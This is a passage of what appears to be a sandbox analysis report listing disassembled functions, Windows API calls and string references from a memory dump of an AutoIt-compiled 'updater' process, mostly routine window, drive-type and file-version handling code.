__wcsnicmp.LIBCMT ref: 00BC2896
__wcsnicmp.LIBCMT ref: 00BC28AE
__wcsnicmp.LIBCMT ref: 00BC28C6
__wcsnicmp.LIBCMT ref: 00BC28DE
__wcsnicmp.LIBCMT ref: 00BC28F6
__wcsnicmp.LIBCMT ref: 00BC290A
__wcsnicmp.LIBCMT ref: 00BC2948
__wcsnicmp.LIBCMT ref: 00BC295C
__wcsnicmp.LIBCMT ref: 00BC2970
__wcsnicmp.LIBCMT ref: 00BC2984

Strings

#ce, xrefs: 00BC297E
", xrefs: 00BFFB89
Unterminated group of comments, xrefs: 00BFFCFA
#requireadmin, xrefs: 00BC2890
#cs, xrefs: 00BC2904, 00BC2956
#OnAutoItStartRegister, xrefs: 00BC28A8
#notrayicon, xrefs: 00BC2878
', xrefs: 00BFFB9F
#include-once, xrefs: 00BC28C0
#comments-end, xrefs: 00BC296A
#include, xrefs: 00BC28D8
Bad directive syntax error, xrefs: 00BFFBD3, 00BFFBF0
#comments-start, xrefs: 00BC28F0, 00BC2942
Cannot parse #include, xrefs: 00BFFCE5
#pragma compile, xrefs: 00BC2864

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: 2f92cd34e3308c9d3bc35e1a2cbce7a776a3876196e48dd7e0ec6730dc249916
Instruction ID: 87a5f18b287651ef73ad2d8a58e7f6794f6a6f6acc02d20aa888ca279d3bcd2d
Opcode Fuzzy Hash: 2f92cd34e3308c9d3bc35e1a2cbce7a776a3876196e48dd7e0ec6730dc249916
Instruction Fuzzy Hash: 2EA1A070A4020ABBCB20AF64DC92FBE77E4FF45740F1000ADF905AB292EBB19A55D751

Function 00C27B95 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00C27BC8
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00C27C87
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00C27CC5
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00C27CD7
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00C27D1D
GetClientRect.USER32(00000000,?), ref: 00C27D29
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00C27D6D
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00C27D7C
GetStockObject.GDI32(00000011), ref: 00C27D8C
SelectObject.GDI32(00000000,00000000), ref: 00C27D90
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00C27DA0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00C27DA9
DeleteDC.GDI32(00000000), ref: 00C27DB2
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00C27DDE
SendMessageW.USER32(00000030,00000000,00000001), ref: 00C27DF5
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00C27E30
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00C27E44
SendMessageW.USER32(00000404,00000001,00000000), ref: 00C27E55
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00C27E85
GetStockObject.GDI32(00000011), ref: 00C27E90
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00C27E9B
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00C27EA5

Strings

AutoIt v3, xrefs: 00C27D15
msctls_progress32, xrefs: 00C27E26
DISPLAY, xrefs: 00C27D72
static, xrefs: 00C27D67, 00C27E7F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 907c1bc68cc136635f9ed766f2081c0c7ee0e352b3aa82fe1a036d69e5611c1f
Instruction ID: fc1ce8ce34a7564536f55c1f3bb1fa7a896e33b05042e6cb3b3f43547f0cc24f
Opcode Fuzzy Hash: 907c1bc68cc136635f9ed766f2081c0c7ee0e352b3aa82fe1a036d69e5611c1f
Instruction Fuzzy Hash: F0A16FB5A40619BFEB14DBA4DC4AFAE7BB9FB05710F104254FA15A72E1CB70AD40CB60

Function 00C1B353 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00C1B361
GetDriveTypeW.KERNEL32(?,00C42C4C,?,\\.\,00C40980), ref: 00C1B43E
SetErrorMode.KERNEL32(00000000,00C42C4C,?,\\.\,00C40980), ref: 00C1B59C

Strings

iSCSI, xrefs: 00C1B541
ATAPI, xrefs: 00C1B510
Network, xrefs: 00C1B47C
CDROM, xrefs: 00C1B472
Removable, xrefs: 00C1B490
RAID, xrefs: 00C1B53A
1394, xrefs: 00C1B51E
SSA, xrefs: 00C1B525
Virtual, xrefs: 00C1B564
PhysicalDrive, xrefs: 00C1B3EA
MMC, xrefs: 00C1B55D
SSD, xrefs: 00C1B4C9
SAS, xrefs: 00C1B548
USB, xrefs: 00C1B533
Fixed, xrefs: 00C1B486
RAMDisk, xrefs: 00C1B468
\\.\, xrefs: 00C1B3B3
SCSI, xrefs: 00C1B509
Unknown, xrefs: 00C1B45E, 00C1B502
ATA, xrefs: 00C1B517
SATA, xrefs: 00C1B54F
FileBackedVirtual, xrefs: 00C1B56B
Fibre, xrefs: 00C1B52C

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 07141cb65abbf66d47f803ff9617a3627fc7a71a83a5a75143893b4d5f78bccd
Instruction ID: 93c6b6915dab12097fe1f266e4f91022c020d2286ed441790cf98f065f275b64
Opcode Fuzzy Hash: 07141cb65abbf66d47f803ff9617a3627fc7a71a83a5a75143893b4d5f78bccd
Instruction Fuzzy Hash: 3751A434B40209EBCB14DB21C982AFD77E2BB4A340B648065F416E7291DB71AEC1FF51

Function 00C3A041 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00C3A0F7
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00C3A1B0
SendMessageW.USER32(?,00001102,00000002,?), ref: 00C3A1CC

Strings

0, xrefs: 00C3A209

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 90945b2564a887bd0c0d51e925927b3ca8a32caa3b629badc57cc3f1ace1ee45
Instruction ID: a50cd7768ac87ff5aebf40cd4ebe89dbe8f749f6b20b1423e514b112bbb2b374
Opcode Fuzzy Hash: 90945b2564a887bd0c0d51e925927b3ca8a32caa3b629badc57cc3f1ace1ee45
Instruction Fuzzy Hash: 6702FF30128701AFDB15CF14C849BAABBE4FF85314F04861DF9EA962B1C775DA60CB52

Function 00C3AF18 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00C3AF51
SetTextColor.GDI32(?,?), ref: 00C3AF55
GetSysColorBrush.USER32(0000000F), ref: 00C3AF6B
GetSysColor.USER32(0000000F), ref: 00C3AF76
CreateSolidBrush.GDI32(?), ref: 00C3AF7B
GetSysColor.USER32(00000011), ref: 00C3AF93
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00C3AFA1
SelectObject.GDI32(?,00000000), ref: 00C3AFB2
SetBkColor.GDI32(?,00000000), ref: 00C3AFBB
SelectObject.GDI32(?,?), ref: 00C3AFC8
InflateRect.USER32(?,000000FF,000000FF), ref: 00C3AFE7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00C3AFFE
GetWindowLongW.USER32(00000000,000000F0), ref: 00C3B013
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00C3B05F
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00C3B086
InflateRect.USER32(?,000000FD,000000FD), ref: 00C3B0A4
DrawFocusRect.USER32(?,?), ref: 00C3B0AF
GetSysColor.USER32(00000011), ref: 00C3B0BD
SetTextColor.GDI32(?,00000000), ref: 00C3B0C5
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00C3B0D9
SelectObject.GDI32(?,00C3AC1F), ref: 00C3B0F0
DeleteObject.GDI32(?), ref: 00C3B0FB
SelectObject.GDI32(?,?), ref: 00C3B101
DeleteObject.GDI32(?), ref: 00C3B106
SetTextColor.GDI32(?,?), ref: 00C3B10C
SetBkColor.GDI32(?,?), ref: 00C3B116

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 0804e3a11b7de878ebea5870bac39a52665b6398e72cf71d66dba76ee7d3e926
Instruction ID: 0d793f3c4fefaea40342cb5d345ca50a745744d630005aea60373cef534afbc2
Opcode Fuzzy Hash: 0804e3a11b7de878ebea5870bac39a52665b6398e72cf71d66dba76ee7d3e926
Instruction Fuzzy Hash: 25616CB5950218AFDF119FA4DC48BAEBB79FF09320F214115FA25AB2A1D7719E40CF90

Function 00C38FFA Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00C390EA
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00C390FB
CharNextW.USER32(0000014E), ref: 00C3912A
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00C3916B
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00C39181
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00C39192
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00C391AF
SetWindowTextW.USER32(?,0000014E), ref: 00C391FB
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00C39211
SendMessageW.USER32(?,00001002,00000000,?), ref: 00C39242
_memset.LIBCMT ref: 00C39267
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00C392B0
_memset.LIBCMT ref: 00C3930F
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00C39339
SendMessageW.USER32(?,00001074,?,00000001), ref: 00C39391
SendMessageW.USER32(?,0000133D,?,?), ref: 00C3943E
InvalidateRect.USER32(?,00000000,00000001), ref: 00C39460
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00C394AA
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00C394D7
DrawMenuBar.USER32(?), ref: 00C394E6
SetWindowTextW.USER32(?,0000014E), ref: 00C3950E

Strings

0, xrefs: 00C39478

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 9ea80fbf92c9dbbfa215675725957af1be3f76b3b48603a5a03595ac844384b4
Instruction ID: b085b14261d71aa3e5177007ba7d7364e9ad2691d814c13975af79297f7d0c22
Opcode Fuzzy Hash: 9ea80fbf92c9dbbfa215675725957af1be3f76b3b48603a5a03595ac844384b4
Instruction Fuzzy Hash: A2E1AF75910209AFDF219F55CC84FEE7BB8FF09710F108156FA29AA291D7B08A81DF61

Function 00C34ECC Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00C35007
GetDesktopWindow.USER32 ref: 00C3501C
GetWindowRect.USER32(00000000), ref: 00C35023
GetWindowLongW.USER32(?,000000F0), ref: 00C35085
DestroyWindow.USER32(?), ref: 00C350B1
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00C350DA
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00C350F8
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00C3511E
SendMessageW.USER32(?,00000421,?,?), ref: 00C35133
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00C35146
IsWindowVisible.USER32(?), ref: 00C35166
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00C35181
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00C35195
GetWindowRect.USER32(?,?), ref: 00C351AD
MonitorFromPoint.USER32(?,?,00000002), ref: 00C351D3
GetMonitorInfoW.USER32(00000000,?), ref: 00C351ED
CopyRect.USER32(?,?), ref: 00C35204
SendMessageW.USER32(?,00000412,00000000), ref: 00C3526F

Strings

tooltips_class32, xrefs: 00C350D3
0, xrefs: 00C34FB2
(, xrefs: 00C351E0

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 25500adba63ce6bec8cbeabd4e9398050076834a4af9265afb38a506d8894d17
Instruction ID: 552394053bcd26d72d62990b7894baf2440269b7c7ef01c61b1c20ac8af0f86d
Opcode Fuzzy Hash: 25500adba63ce6bec8cbeabd4e9398050076834a4af9265afb38a506d8894d17
Instruction Fuzzy Hash: 60B16A71614740AFD714DF64C885BAFBBE4BF89310F008A1CF9AA9B291D771E905CB92

Function 00C1498A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00C1499C
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00C149C2
_wcscpy.LIBCMT ref: 00C149F0
_wcscmp.LIBCMT ref: 00C149FB
_wcscat.LIBCMT ref: 00C14A11
_wcsstr.LIBCMT ref: 00C14A1C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00C14A38
_wcscat.LIBCMT ref: 00C14A81
_wcscat.LIBCMT ref: 00C14A88
_wcsncpy.LIBCMT ref: 00C14AB3

Strings

\VarFileInfo\Translation, xrefs: 00C14A30
%u.%u.%u.%u, xrefs: 00C14B16
StringFileInfo\, xrefs: 00C14A0B
DefaultLangCodepage, xrefs: 00C14A9B
04090000, xrefs: 00C14A6E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 2110c81a7be54f255eb2e86eea593dfb20cc40cf4f4de8f72848a33326843f73
Instruction ID: e72749ae43978f224668662ca9c4dcdecfdb61fe293d5a29a7ef605eac7d5a66
Opcode Fuzzy Hash: 2110c81a7be54f255eb2e86eea593dfb20cc40cf4f4de8f72848a33326843f73
Instruction Fuzzy Hash: B24128726442047BE714B7748C43FBFBBECEF52710F1004AAF904A6292FB359A41A6A5

Function 00BD0429 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 00BC1821: _memmove.LIBCMT ref: 00BC185B

GetForegroundWindow.USER32(00C40980,?,?,?,?,?), ref: 00BD04E3
IsWindow.USER32(?), ref: 00C066BB

Strings

HANDLE, xrefs: 00C0649E
CLASS, xrefs: 00C064E5
ALL, xrefs: 00C06622
ACTIVE, xrefs: 00C06488
INSTANCE, xrefs: 00C065FA
REGEXPTITLE, xrefs: 00C064B4
REGEXPCLASS, xrefs: 00C06506
LAST, xrefs: 00C06472
TITLE, xrefs: 00C06650

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 53ecd0c7f80c7b34dca471a52e252b8d1ae59b6ce35edbdd8abd5424124b0bf9
Instruction ID: 7af8f8bad098dbc6dcf7753825b6aa5e3366cf9880b0cd395fd808b373028aa6
Opcode Fuzzy Hash: 53ecd0c7f80c7b34dca471a52e252b8d1ae59b6ce35edbdd8abd5424124b0bf9
Instruction Fuzzy Hash: 7ED1A670104602DFCB04EF64C481A9AFBF5FF55344F104A6EF866572A2DB31EA69CB92

Function 00C3441F Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00C344AC
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00C3456C

Strings

SELECTCLEAR, xrefs: 00C345EB
GETITEMCOUNT, xrefs: 00C344DE
GETSUBITEMCOUNT, xrefs: 00C344F7
FINDITEM, xrefs: 00C346DF
GETSELECTEDCOUNT, xrefs: 00C3454F
DESELECT, xrefs: 00C3465A
GETSELECTED, xrefs: 00C3469A
ISSELECTED, xrefs: 00C34577
VIEWCHANGE, xrefs: 00C3472B
GETTEXT, xrefs: 00C34515
SELECTALL, xrefs: 00C345D3
SELECT, xrefs: 00C34606
SELECTINVERT, xrefs: 00C3463C

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: e54888491f724dab36dd8aac69439ed56cf67f3ecd53dc033590a8116508bf14
Instruction ID: f60c683e40fdeca48db82d917cc9b405e4ec74c55b601188a87a2711d0c45e33
Opcode Fuzzy Hash: e54888491f724dab36dd8aac69439ed56cf67f3ecd53dc033590a8116508bf14
Instruction Fuzzy Hash: 5AA15E702246419BCB18EF24C891B7AB3E5FF85314F1049A9B8A65B3E2DB70FD05CB52

Function 00C256C8 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00C256E1
LoadCursorW.USER32(00000000,00007F8A), ref: 00C256EC
LoadCursorW.USER32(00000000,00007F00), ref: 00C256F7
LoadCursorW.USER32(00000000,00007F03), ref: 00C25702
LoadCursorW.USER32(00000000,00007F8B), ref: 00C2570D
LoadCursorW.USER32(00000000,00007F01), ref: 00C25718
LoadCursorW.USER32(00000000,00007F81), ref: 00C25723
LoadCursorW.USER32(00000000,00007F88), ref: 00C2572E
LoadCursorW.USER32(00000000,00007F80), ref: 00C25739
LoadCursorW.USER32(00000000,00007F86), ref: 00C25744
LoadCursorW.USER32(00000000,00007F83), ref: 00C2574F
LoadCursorW.USER32(00000000,00007F85), ref: 00C2575A
LoadCursorW.USER32(00000000,00007F82), ref: 00C25765
LoadCursorW.USER32(00000000,00007F84), ref: 00C25770
LoadCursorW.USER32(00000000,00007F04), ref: 00C2577B
LoadCursorW.USER32(00000000,00007F02), ref: 00C25786
GetCursorInfo.USER32(?), ref: 00C25796
GetLastError.KERNEL32(00000001,00000000), ref: 00C257C1

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 8b1b473247be82e09692119f4acee6ffeea6410c2f6033d65d968d31ba3642cd
Instruction ID: f5974f0ebd038f8739d972b028c7d808da5976e35bc1895c42f19683496d9dea
Opcode Fuzzy Hash: 8b1b473247be82e09692119f4acee6ffeea6410c2f6033d65d968d31ba3642cd
Instruction Fuzzy Hash: 0C418470E44319AADB109FBA9C49D6FFFF8EF41B10B10452FE519E7291DAB8A500CE51

Function 00C0B13A Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00C0B17B
__swprintf.LIBCMT ref: 00C0B21C
_wcscmp.LIBCMT ref: 00C0B22F
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00C0B284
_wcscmp.LIBCMT ref: 00C0B2C0
GetClassNameW.USER32(?,?,00000400), ref: 00C0B2F7
GetDlgCtrlID.USER32(?), ref: 00C0B349
GetWindowRect.USER32(?,?), ref: 00C0B37F
GetParent.USER32(?), ref: 00C0B39D
ScreenToClient.USER32(00000000), ref: 00C0B3A4
GetClassNameW.USER32(?,?,00000100), ref: 00C0B41E
_wcscmp.LIBCMT ref: 00C0B432
GetWindowTextW.USER32(?,?,00000400), ref: 00C0B458
_wcscmp.LIBCMT ref: 00C0B46C

Part of subcall function 00BD385C: _iswctype.LIBCMT ref: 00BD3864

Strings

%s%u, xrefs: 00C0B216

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
